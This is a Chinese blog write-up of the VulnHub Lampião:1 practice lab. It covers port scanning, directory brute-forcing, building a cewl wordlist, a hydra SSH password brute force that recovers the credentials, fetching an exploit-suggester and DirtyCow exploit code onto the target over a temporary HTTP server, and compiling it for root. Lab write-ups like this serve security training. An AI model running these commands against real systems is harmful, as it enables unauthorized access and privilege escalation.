《VulnHub》Lampião:1
title: 《VulnHub》Lampião:1
date: 2024-03-28 21:37:49
updated: 2024-03-28 21:37:50
categories: WriteUp:Cyber-Range
excerpt: 关键技术:主机发现,端口扫描、服务探测、操作系统探测,对开放的端口探测漏洞,dirb 爆破网站目录,cewl 创建社工密码字典,hydra 破解 ssh 密钥,使用 sh 脚本检测 Linux 系统的安全缺陷,在目录下开启简单 http 服务,40847 DirtyCow 利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png
VulnHub
- 1:靶场信息
- 2:打靶
- 2.1:情报收集 & 威胁建模
- 2.2:漏洞分析 & 渗透攻击
- 2.3:后渗透
- 3:总结
- 3.1:命令 & 工具
- 3.1.1:Nmap
- 3.1.2:dirb
- 3.2:关键技术
VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com
攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.10。
1:靶场信息
靶场地址:
https://www.vulnhub.com/entry/lampiao-1,249/
2:打靶
2.1:情报收集 & 威胁建模
主机发现:
nmap -sn 192.168.8.0/24
确定目标 IP 为 192.168.8.139。
进行端口扫描、服务探测、操作系统探测:
nmap 192.168.8.139 -p- -sV -sC -O
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 15:23 HKT
Nmap scan report for 192.168.8.139
Host is up (0.00076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
MAC Address: 00:0C:29:3E:06:9F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.24 seconds
对开放的端口探测漏洞:
nmap 192.168.8.139 -p 22,80,1898 --script=vuln
根据之前得到的信息访问一下 80 端口。
查看源码也没有发现什么信息。那就访问一下 1898 端口。
发现一篇文章可以点击。
遍历一下网页节点,发现两个信息。
qrc.png 是一张二维码,扫描后没有有用的信息。
audio.m4a 是一段音频。
播放后可以听到以下信息:
user tiago
以下这个页面也是没有什么有效信息。
尝试爆破一下网页目录:
dirb http://192.168.8.139:1898/
爆破多级目录:
dirb http://192.168.8.139:1898/ -w
没有爆破出什么有用信息。倒是在 robots.txt 文件中发现一个 CHANGELOG.txt 文件
在这里可以看到 CMS 版本:Drupal 7.54, 2017-02-01
至此页面没啥可获取的信息了。发挥一下这个网站的余热,用它来生成一份社工性质的字典。
使用 cewl 通过爬虫获取关键信息创建一个密码字典:
cewl http://192.168.8.139:1898/ -w cewl.txt
2.2:漏洞分析 & 渗透攻击
根据前面获取的 user tiago
信息,尝试爆破一下 ssh 密码。
hydra 爆破 ssh 密钥:
hydra -l tiago -P cewl.txt 192.168.8.139 ssh
成功爆破出账号密码。
host: 192.168.8.139 login: tiago password: Virgulino
使用刚刚获得的用户登录 ssh。
也可以使用 MSF 利用 Drupal 漏洞进行渗透攻击。这里不做记录。
2.3:后渗透
谷歌搜索一下 Linux 相关检测脚本,可以检测 Linux 上的安全缺陷。关键字:linux exploit suggest
https://github.com/The-Z-Labs/linux-exploit-suggester
可以用推荐的命令快速下载:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
在相应目录下开启一个简单的 http 服务,便于目标机器下载相应利用代码。
python3 -m http.server 8088
目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/les.sh
赋权并运行,检测目标机器上的安全缺陷。
安全缺陷枚举信息如下(只列出一部分):
tiago@lampiao:/tmp$ chmod +x les.sh
tiago@lampiao:/tmp$ ./les.sh Available information:Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OSSearching among:81 kernel space exploits
49 user space exploitsPossible Exploits:[+] [CVE-2016-5195] dirtycowDetails: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]Download URL: https://www.exploit-db.com/download/40611Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2016-5195] dirtycow 2Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}Download URL: https://www.exploit-db.com/download/40839ext-url: https://www.exploit-db.com/download/40847Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2021-3156] sudo Baron Samedit 2Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txtExposure: probableTags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/Exposure: less probableTags: ubuntu=(22.04){kernel:5.15.0-27-generic}Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.cComments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)[+] [CVE-2022-2586] nft_object UAFDetails: https://www.openwall.com/lists/oss-security/2022/08/29/5Exposure: less probableTags: ubuntu=(20.04){kernel:5.12.13}Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)[+] [CVE-2021-3156] sudo Baron SameditDetails: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txtExposure: less probableTags: mint=19,ubuntu=18|20, debian=10Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main[+] [CVE-2016-0728] keyringDetails: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/Exposure: less probableDownload URL: https://www.exploit-db.com/download/40003Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-workingtiago@lampiao:/tmp$
同时查看一下目标系统 sudo 命令版本信息:
sudo --version
注意到目标系统存在 “ 脏牛 ” 漏洞。查找一下可用 exp。
searchsploit 40847
查找一下相关的信息。
可以看到利用信息。
https://www.exploit-db.com/exploits/40847
将 kali 上的 exp 拷贝到某个目录,并开启 http 服务,将 exp 上传至目标。
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/Desktop/lampiao/
python3 -m http.server 8088
wget http://192.168.8.15:8088/40847.cpp
编译为可执行文件并运行。
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil
./myexp
利用成功,使用以上密码(dirtyCowFun
)即可登录 root。
ssh root@192.168.8.139
完结。
3:总结
3.1:命令 & 工具
- nmap
- dirb
- cewl
- hydra
- linux-exploit-suggester
https://github.com/The-Z-Labs/linux-exploit-suggester - wget
- python
- searchsploit
- g++
- ssh
3.1.1:Nmap
部分选项:
参数 | 介绍 |
---|---|
-sn | Ping Scan - disable port scan |
-sV | Probe open ports to determine service/version info |
-sC | equivalent to --script=default |
-O | Enable OS detection |
--script=<Lua scripts> | <Lua scripts> is a comma separated list of directories, script-files or script-categories |
nmap 脚本:
--script=default
:默认的脚本,提供一些基本的漏洞探测和信息收集。--script=vuln
:用于检测目标系统上的漏洞。
3.1.2:dirb
dirb,kali linux 下的一个 web 网站目录爆破工具。
部分选项:
参数 | 介绍 |
---|---|
-w | Don't Stop on WARNING messages. |
《Dirb工具web网站目录爆破指南》:
https://zhuanlan.zhihu.com/p/267973016
3.2:关键技术
-
主机发现:
nmap -sn <ip cidr>
-
端口扫描、服务探测、操作系统探测:
nmap <target> -p- -sV -sC -O
-
对开放的端口探测漏洞:
nmap <target> -p <port> --script=vuln
-
爆破网站目录:
dirb <url> [-w]
-
爬取网页,创建社工密码字典:
cewl <url> -w <txt file>
-
hydra 破解 ssh 密钥:
hydra -l <user> -P <password file> <target> ssh
-
使用 sh 脚本检测 Linux 系统的安全缺陷。项目地址:https://github.com/The-Z-Labs/linux-exploit-suggester
-
在目录下开启简单 http 服务:
python3 -m http.server 8088
-
查找 kali 自带的 exp:
searchsploit <id>
-
40847 DirtyCow 利用:
https://www.exploit-db.com/exploits/40847
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil
贫贱非辱,贫贱而谄求于人者为辱。
——《围炉夜话》(清)王永彬
相关文章:

《VulnHub》Lampião:1
title: 《VulnHub》Lampio:1 date: 2024-03-28 21:37:49 updated: 2024-03-28 21:37:50 categories: WriteUp:Cyber-Range excerpt: 关键技术:主机发现,端口扫描、服务探测、操作系统探测,对开放的端口探测漏洞&#x…...

RabbitMq高可用
消息队列高级 服务异步通信-高级篇1.消息可靠性1.1.生产者消息确认1.2.消息持久化1.3.消费者消息确认1.4.消费失败重试机制1.5.总结 2.死信交换机2.1.初识死信交换机2.2.TTL2.3.延迟队列 3.惰性队列3.1.消息堆积问题3.2.惰性队列 4.MQ集群4.1.集群分类4.2.普通集群4.3.镜像集群…...

降本增效的车间管理大屏,车间主任看了拍手称快,速来领取。
我们老板觉得车间生产效率太低了,还想让我整一套车间管理的! 制造业管理的核心在于降本增效,车间管理可以通过【大数据可视化】来提高管理效率,大屏就可以做到生产管理一「屏」了然,这是【车间管理大屏方案】。 一、…...

Open AI要给GPT应用开发者“发钱” 黄金的宏观关系被打破了吗?
内容摘要 为避免GPTs彻底凉凉,Open AI紧急启动了一项“货币化”计划,直接给那些在GPT Store上的应用开发人员发钱。 正文部分 当地时间周四凌晨,OpenAI在社交媒体上发帖称,正在与小部分美国开发者合作,基于用户使用…...

【Docker】Docker安全与最佳实践:保护你的容器化应用程序
欢迎来到英杰社区: https://bbs.csdn.net/topics/617804998 欢迎来到阿Q社区: https://bbs.csdn.net/topics/617897397 📕作者简介:热爱跑步的恒川,致力于C/C、Java、Python等多编程语言,热爱跑步ÿ…...
QT 信号(Signal)与槽(Slot)机制
上学后,人们问我长大了要做什么,我写下“快乐”。他们告诉我,我理解错了题目,我告诉他们,他们理解错了人生。 ——约翰列侬 一、信号(signal)与槽(slot) 在QT中,信号(signal)与槽(slot)机制是一种用于对象间通信的重要机制。它允许一个对象发出信号,而其他对象…...
音频干扰检测(频域方法)
测试音响系统的通路上是否有外部干扰时,可以通过播放1000赫兹的正弦波信号,在输出端采集数字信号(I2S,TDD,A2B)并保存为.wav文件。 然后通过以下Python代码检测。 import numpy as np import librosa im…...
Rust引用借用 vs 原始指针
let v: i32 10; let v1 &v; let a: *const i32 &v; println!("a{:p}", a); let b a as *mut i32; //无法从&v直接转换成*mut i32,需要从*const i32过度 println!("b{:p}", b); unsafe {*b1; } println!("v{} v1{}"…...

抖音视频关键词无水印下载软件|手机网页视频批量提取工具
全新视频关键词无水印下载软件,助您快速获取所需视频! 随着时代的发展,视频内容已成为人们获取信息和娱乐的重要途径。为了方便用户获取所需视频,推出了一款功能强大的视频关键词无水印下载软件。该软件主要功能包括关键词批量提取…...

关于Devc++调试的问题以及解决STL变量无法查看
目前Devc的调试主要有以下几点: 1.调试不能直接查看stl变量,会卡死不动 2.目前单步进入只能用鼠标键按 3.若想按下一步进入函数体内,要在函数体内打上断点才行 4.调试到return 0 ;上一句就停了,不会结束程序 5.目前F2跳至断点…...

MATLAB:优化与规划问题
一、线性规划 % 线性规划(Linear programming, 简称LP) fcoff -[75 120 90 105]; % 目标函数系数向量 A [9 4 7 54 5 6 105 10 8 53 8 9 77 6 4 8]; % 约束不等式系数矩阵 b [3600 2900 3000 2800 2200]; % 约束不等式右端向量 Aeq []; % 约束等式系…...
Oracal执行计划解析
概述 | Id | Operation | Name | Rows | Bytes | TempSpc | Cost (%CPU) | Time | ----------------------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 1…...

对form表单对象中数组中的字段进行校验的方法
当对form表单中,数组readings中的字段进行校验时,prop和rules绑定要写成动态的,如下代码 <div v-for"(item,index) in form.readings"><el-form-item label"上次读数" > <!--prop"scds"-->…...

一、JAVA集成海康SDK
JAVA集成海康SDK 文章目录 JAVA集成海康SDK前言一、项目依赖 jar1. examples.jar2. 项目依赖 jna.jar,可以通过 maven依赖到。二、集成SDK1.HcNetSdkUtil 海康 SDK封装类2.HCNetSDK3.Linux系统集成SDK三、总结前言 提示:首先去海康官网下载 https://open.hikvision.com/dow…...
PAT 乙级 1031 查验身份证 c语言实现
一个合法的身份证号码由17位地区、日期编号和顺序编号加1位校验码组成。校验码的计算规则如下: 首先对前17位数字加权求和,权重分配为:{7,9,10,5,8,4,2,1&am…...
LeetCode 345. 反转字符串中的元音字母
给你一个字符串 s ,仅反转字符串中的所有元音字母,并返回结果字符串。 元音字母包括 ‘a’、‘e’、‘i’、‘o’、‘u’,且可能以大小写两种形式出现不止一次。 示例 1: 输入:s “hello” 输出:“holl…...
go中函数与方法的区别与go中关于面向对象理解
声明方法的区别 函数是一段可以独立调用的代码块,它可以有参数和返回值。函数的声明不依赖于任何类型,可以直接通过函数名进行调用。 函数的声明格式如下: func functionName(parameters) returnType {// 函数体 }示例: func A…...

SQL Server 实验二:数据库视图的创建和使用
目录 第一关 相关知识 什么是表 操作数据表 创建数据表 插入数据 修改表结构 删除数据表 编程要求 第一关实验代码: 第二关 相关知识 视图是什么 视图的优缺点 视图的优点 视图的缺点 操作视图 创建视图 通过视图向基本表中插入数据 通过视图修改基本表的…...
树结构导入
Testpublic void testExcel1() {// 写法1:JDK8 ,不用额外写一个DemoDataListener// since: 3.0.0-beta1EasyExcelFactory.read(new File("C:\\Users\\Admin\\Desktop\\树导入.xlsx"), null, new ReadListener<Map>() {public static final int BATC…...
Promise封装ajax
Promise封装原生ajax 1.node的内置模块url, http 2.Promise封装原生ajax 01-node的内置模块 # url: 操作网址 let url require(url) url.parse(网址, [布尔值: 决定是否将查询字符串转换为对象格式]): 将网址解析成对象# http: 创建本地服务器 let http requi…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...
SkyWalking 10.2.0 SWCK 配置过程
SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外,K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案,全安装在K8S群集中。 具体可参…...

Debian系统简介
目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版ÿ…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

智能在线客服平台:数字化时代企业连接用户的 AI 中枢
随着互联网技术的飞速发展,消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁,不仅优化了客户体验,还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用,并…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...

MySQL 8.0 OCP 英文题库解析(十三)
Oracle 为庆祝 MySQL 30 周年,截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始,将英文题库免费公布出来,并进行解析,帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...

Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)
参考官方文档:https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java(供 Kotlin 使用) 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...